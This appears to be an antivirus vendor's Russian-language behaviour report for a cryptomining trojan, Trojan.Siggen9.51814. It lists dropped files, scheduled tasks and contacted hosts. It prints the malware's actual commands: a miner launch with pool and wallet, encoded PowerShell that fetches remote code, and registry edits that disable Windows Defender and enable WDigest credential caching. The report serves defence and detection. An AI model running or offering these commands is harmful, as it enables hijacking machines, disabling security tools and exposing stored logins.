Trojan.Siggen9.51814

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\pchunterdns
<SYSTEM32>\tasks\microsoft\windows\upnp\services

Вредоносные функции

Создает и запускает на исполнение

'%PROGRAMDATA%\118.exe'
'%PROGRAMDATA%\120.exe'
'%PROGRAMDATA%\xmr.exe'
'%TEMP%\~1035183206881579330~\sg.tmp' x "%PROGRAMDATA%\xmr.exe" -y -aoa -o"%PROGRAMDATA%" -pertyuio
'%PROGRAMDATA%\officekms.exe'
'%PROGRAMDATA%\officekms.exe' -o xmr.f2pool.com:13531 -u 456jdPdTxbuixumJ2NiDhYgRs2GSBAFwa2hkYu1gpPHtRhz3mnJigeqWW1dRTeSiHBbHc2f18vc5VgiX9ofccGDQ6NVVkVV -p x -k
'%PROGRAMDATA%\fcc.exe'
'C:\users\public\everything.exe'
'%PROGRAMDATA%\doseos.exe'
'%PROGRAMDATA%\office1.exe'

Загружает

https://mywebsaat.xyz/123.jpg

Завершает или пытается завершить

следующие системные процессы:

%WINDIR%\syswow64\taskmgr.exe
<SYSTEM32>\cmd.exe

Изменения в файловой системе

Создает следующие файлы

%PROGRAMDATA%\googlp.txt
%PROGRAMDATA%\tmp\yh.jpg\9.ling
%PROGRAMDATA%\tmp\yh.jpg\7.ling
%PROGRAMDATA%\tmp\yh.jpg\6.ling
%PROGRAMDATA%\tmp\yh.jpg\5.ling
%PROGRAMDATA%\tmp\yh.jpg\1.ling
%PROGRAMDATA%\tmp\yh.jpg\4.ling
%PROGRAMDATA%\tmp\yh.jpg\3.ling
%PROGRAMDATA%\tmp\yh.jpg\2.ling
%PROGRAMDATA%\doseos.exe
%PROGRAMDATA%\btc.jpg
%PROGRAMDATA%\tmp\yh.jpg\8.ling
%PROGRAMDATA%\tmp\btc.jpg\16.ling
%PROGRAMDATA%\tmp\btc.jpg\14.ling
%PROGRAMDATA%\tmp\btc.jpg\11.ling
%PROGRAMDATA%\tmp\btc.jpg\13.ling
%PROGRAMDATA%\tmp\btc.jpg\12.ling
%PROGRAMDATA%\tmp\btc.jpg\10.ling
%PROGRAMDATA%\tmp\btc.jpg\9.ling
%PROGRAMDATA%\tmp\btc.jpg\8.ling
%PROGRAMDATA%\tmp\btc.jpg\7.ling
%PROGRAMDATA%\tmp\btc.jpg\5.ling
%PROGRAMDATA%\tmp\btc.jpg\6.ling
%PROGRAMDATA%\tmp\btc.jpg\15.ling
%PROGRAMDATA%\tmp\nb.jpg\6.ling
%PROGRAMDATA%\tmp\nb.jpg\11.ling
%PROGRAMDATA%\tmp\yh.jpg\12.ling
%PROGRAMDATA%\tmp\nb.jpg\16.ling
%PROGRAMDATA%\tmp\nb.jpg\13.ling
%PROGRAMDATA%\tmp\nb.jpg\15.ling
%PROGRAMDATA%\tmp\nb.jpg\14.ling
%PROGRAMDATA%\tmp\nb.jpg\12.ling
%PROGRAMDATA%\tmp\nb.jpg\4.ling
%PROGRAMDATA%\tmp\nb.jpg\3.ling
%PROGRAMDATA%\tmp\nb.jpg\2.ling
%PROGRAMDATA%\tmp\nb.jpg\1.ling
%PROGRAMDATA%\tmp\nb.jpg\10.ling
C:\users\public\everything.lng
%PROGRAMDATA%\tmp\nb.jpg\9.ling
%PROGRAMDATA%\tmp\nb.jpg\8.ling
%PROGRAMDATA%\tmp\nb.jpg\7.ling
%PROGRAMDATA%\tmp\nb.jpg\5.ling
%PROGRAMDATA%\office1.exe
C:\users\public\curlabc1.txt
%PROGRAMDATA%\yh.jpg
%PROGRAMDATA%\tmp\yh.jpg\16.ling
%PROGRAMDATA%\tmp\yh.jpg\14.ling
%PROGRAMDATA%\tmp\yh.jpg\15.ling
%PROGRAMDATA%\tmp\yh.jpg\13.ling
%PROGRAMDATA%\tmp\yh.jpg\11.ling
%PROGRAMDATA%\tmp\yh.jpg\10.ling
C:\users\public\everything.ini
%PROGRAMDATA%\winring0x64.sys
%PROGRAMDATA%\xmr.exe
%PROGRAMDATA%\xmr.jpg
%PROGRAMDATA%\tmp\xmr.jpg\12.ling
%PROGRAMDATA%\tmp\xmr.jpg\10.ling
%PROGRAMDATA%\tmp\xmr.jpg\11.ling
%PROGRAMDATA%\tmp\xmr.jpg\13.ling
%PROGRAMDATA%\tmp\xmr.jpg\9.ling
%PROGRAMDATA%\tmp\xmr.jpg\8.ling
%PROGRAMDATA%\tmp\xmr.jpg\7.ling
%PROGRAMDATA%\tmp\xmr.jpg\6.ling
%TEMP%\~1035183206881579330~\sg.tmp
%PROGRAMDATA%\tmp\xmr.jpg\5.ling
%PROGRAMDATA%\tmp\xmr.jpg\3.ling
%PROGRAMDATA%\tmp\xmr.jpg\2.ling
%PROGRAMDATA%\tmp\xmr.jpg\1.ling
C:\users\public\sdfsdagegd.txt
%PROGRAMDATA%\microsftewmi.png
%PROGRAMDATA%\120.exe
%PROGRAMDATA%\118.exe
%PROGRAMDATA%\defender.txt
%PROGRAMDATA%\dnssfaf.txt
%PROGRAMDATA%\tehjdghhw.txt
%PROGRAMDATA%\tmp\xmr.jpg\4.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\15.ling
C:\users\public\curl.exe
%PROGRAMDATA%\tmp\fxtxt.jpg\1.ling
C:\users\public\fxtxt.txt
%PROGRAMDATA%\tmp\btc.jpg\4.ling
%PROGRAMDATA%\tmp\btc.jpg\2.ling
%PROGRAMDATA%\tmp\btc.jpg\3.ling
%PROGRAMDATA%\tmp\btc.jpg\1.ling
%PROGRAMDATA%\fcc.exe
%PROGRAMDATA%\fxtxt.jpg
%PROGRAMDATA%\tmp\fxtxt.jpg\16.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\8.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\7.ling
C:\users\public\everything.exe
%PROGRAMDATA%\tmp\fxtxt.jpg\6.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\9.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\14.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\12.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\11.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\13.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\10.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\4.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\5.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\3.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\2.ling
%PROGRAMDATA%\officekms.exe
%PROGRAMDATA%\nb.jpg

Удаляет следующие файлы

%PROGRAMDATA%\tmp\xmr.jpg\1.ling
%PROGRAMDATA%\tmp\yh.jpg\4.ling
%PROGRAMDATA%\tmp\yh.jpg\3.ling
%PROGRAMDATA%\tmp\yh.jpg\2.ling
%PROGRAMDATA%\tmp\yh.jpg\16.ling
%PROGRAMDATA%\tmp\yh.jpg\15.ling
%PROGRAMDATA%\tmp\yh.jpg\14.ling
%PROGRAMDATA%\tmp\yh.jpg\13.ling
%PROGRAMDATA%\tmp\yh.jpg\12.ling
%PROGRAMDATA%\tmp\yh.jpg\11.ling
%PROGRAMDATA%\tmp\yh.jpg\10.ling
%PROGRAMDATA%\tmp\yh.jpg\1.ling
%PROGRAMDATA%\btc.jpg
%PROGRAMDATA%\tmp\btc.jpg\9.ling
%PROGRAMDATA%\tmp\btc.jpg\8.ling
%PROGRAMDATA%\tmp\btc.jpg\7.ling
%PROGRAMDATA%\tmp\btc.jpg\6.ling
%PROGRAMDATA%\tmp\btc.jpg\5.ling
%PROGRAMDATA%\tmp\yh.jpg\5.ling
%PROGRAMDATA%\tmp\yh.jpg\7.ling
%PROGRAMDATA%\tmp\nb.jpg\9.ling
%PROGRAMDATA%\tmp\yh.jpg\8.ling
%PROGRAMDATA%\tmp\nb.jpg\8.ling
%PROGRAMDATA%\tmp\nb.jpg\7.ling
%PROGRAMDATA%\tmp\nb.jpg\6.ling
%PROGRAMDATA%\tmp\nb.jpg\5.ling
%PROGRAMDATA%\tmp\nb.jpg\4.ling
%PROGRAMDATA%\tmp\nb.jpg\3.ling
%PROGRAMDATA%\tmp\nb.jpg\2.ling
%PROGRAMDATA%\tmp\nb.jpg\16.ling
%PROGRAMDATA%\tmp\nb.jpg\15.ling
%PROGRAMDATA%\tmp\nb.jpg\14.ling
%PROGRAMDATA%\tmp\nb.jpg\13.ling
%PROGRAMDATA%\tmp\nb.jpg\12.ling
%PROGRAMDATA%\tmp\nb.jpg\11.ling
%PROGRAMDATA%\tmp\nb.jpg\10.ling
%PROGRAMDATA%\tmp\nb.jpg\1.ling
%PROGRAMDATA%\yh.jpg
%PROGRAMDATA%\tmp\yh.jpg\9.ling
%PROGRAMDATA%\tmp\btc.jpg\4.ling
%PROGRAMDATA%\tmp\yh.jpg\6.ling
%PROGRAMDATA%\tmp\btc.jpg\3.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\13.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\11.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\10.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\1.ling
%TEMP%\~1035183206881579330~\sg.tmp
%PROGRAMDATA%\xmr.jpg
%PROGRAMDATA%\tmp\xmr.jpg\9.ling
%PROGRAMDATA%\tmp\xmr.jpg\8.ling
%PROGRAMDATA%\tmp\xmr.jpg\7.ling
%PROGRAMDATA%\tmp\xmr.jpg\6.ling
%PROGRAMDATA%\tmp\xmr.jpg\5.ling
%PROGRAMDATA%\tmp\xmr.jpg\4.ling
%PROGRAMDATA%\tmp\xmr.jpg\3.ling
%PROGRAMDATA%\tmp\xmr.jpg\2.ling
%PROGRAMDATA%\tmp\xmr.jpg\13.ling
%PROGRAMDATA%\tmp\xmr.jpg\12.ling
%PROGRAMDATA%\tmp\xmr.jpg\11.ling
%PROGRAMDATA%\tmp\xmr.jpg\10.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\12.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\14.ling
%PROGRAMDATA%\tmp\btc.jpg\16.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\15.ling
%PROGRAMDATA%\tmp\btc.jpg\15.ling
%PROGRAMDATA%\tmp\btc.jpg\14.ling
%PROGRAMDATA%\tmp\btc.jpg\13.ling
%PROGRAMDATA%\tmp\btc.jpg\12.ling
%PROGRAMDATA%\tmp\btc.jpg\11.ling
%PROGRAMDATA%\tmp\btc.jpg\10.ling
%PROGRAMDATA%\tmp\btc.jpg\1.ling
%PROGRAMDATA%\fxtxt.jpg
%PROGRAMDATA%\tmp\fxtxt.jpg\9.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\8.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\7.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\6.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\5.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\4.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\3.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\2.ling
%PROGRAMDATA%\tmp\fxtxt.jpg\16.ling
%PROGRAMDATA%\tmp\btc.jpg\2.ling
%PROGRAMDATA%\nb.jpg

Подменяет следующие файлы

%PROGRAMDATA%\tmp\yh.jpg\1.ling
%PROGRAMDATA%\tmp\yh.jpg\15.ling
%PROGRAMDATA%\tmp\yh.jpg\14.ling
%PROGRAMDATA%\tmp\yh.jpg\11.ling
%PROGRAMDATA%\tmp\yh.jpg\12.ling
%PROGRAMDATA%\tmp\yh.jpg\8.ling
%PROGRAMDATA%\tmp\yh.jpg\9.ling
%PROGRAMDATA%\tmp\yh.jpg\16.ling
%PROGRAMDATA%\tmp\yh.jpg\7.ling
%PROGRAMDATA%\tmp\yh.jpg\2.ling
%PROGRAMDATA%\tmp\yh.jpg\6.ling
%PROGRAMDATA%\tmp\yh.jpg\13.ling
%PROGRAMDATA%\tmp\yh.jpg\10.ling
%PROGRAMDATA%\tmp\yh.jpg\4.ling
%PROGRAMDATA%\tmp\yh.jpg\3.ling
%PROGRAMDATA%\tmp\yh.jpg\5.ling
%PROGRAMDATA%\yh.jpg

Сетевая активность

TCP

Запросы HTTP GET

http://my###saat.xyz/999.jpg
http://www.wo###you.top/images/999.jpg
http://my###saat.xyz/xmr.jpg
http://my###saat.xyz/fxtxt.jpg
http://my###saat.xyz/btc.jpg
http://my###saat.xyz/yh.jpg
http://rs#.##websaat.xyz/yh.jpg
http://my###saat.xyz/nb.jpg

'ba##u.com':443

'up##ad.ee':443

UDP

DNS ASK up##ad.ee
DNS ASK ba##u.com
DNS ASK my###saat.xyz
DNS ASK wo###you.top
DNS ASK xm#.#2pool.com
DNS ASK rs#.##websaat.xyz

Другое

Создает и запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c cmd.exe /c SCHTASKS /Delete /TN "igfxCUService" /F' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c set' (со скрытым окном)
'%TEMP%\~1035183206881579330~\sg.tmp' x "%PROGRAMDATA%\xmr.exe" -y -aoa -o"%PROGRAMDATA%" -pertyuio' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAG0AeQB3AGUAYgBzAGEAYQB0AC4AeAB...' (со скрытым окном)
'%TEMP%\~6146359189100228538~\sg.tmp' x "%PROGRAMDATA%\office1.exe" -y -aoa -o"C:\Users\Public" -phtgreds' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 30 /tn PCHunterDNS /tr "powershell.exe -ep bypass -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZA...
'<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /tn \Microsoft\Windows\UPnP\Services /tr "powershell.exe -ep bypass -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3...
'<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /d 1 /t REG_DWORD /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /d 1 /t REG_DWORD /f
'<SYSTEM32>\cmd.exe' /c reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\taskmgr.exe'
'%WINDIR%\syswow64\cmd.exe' /c cmd.exe /c SCHTASKS /Delete /TN "igfxCUService" /F
'%WINDIR%\syswow64\cmd.exe' /c SCHTASKS /Delete /TN "igfxCUService" /F
'%WINDIR%\syswow64\schtasks.exe' /Delete /TN "igfxCUService" /F
'<SYSTEM32>\cmd.exe' /c set
'<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "C:\users\public\everything.exe"
'%WINDIR%\syswow64\wscript.exe' "%PROGRAMDATA%\tem.vbs"

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней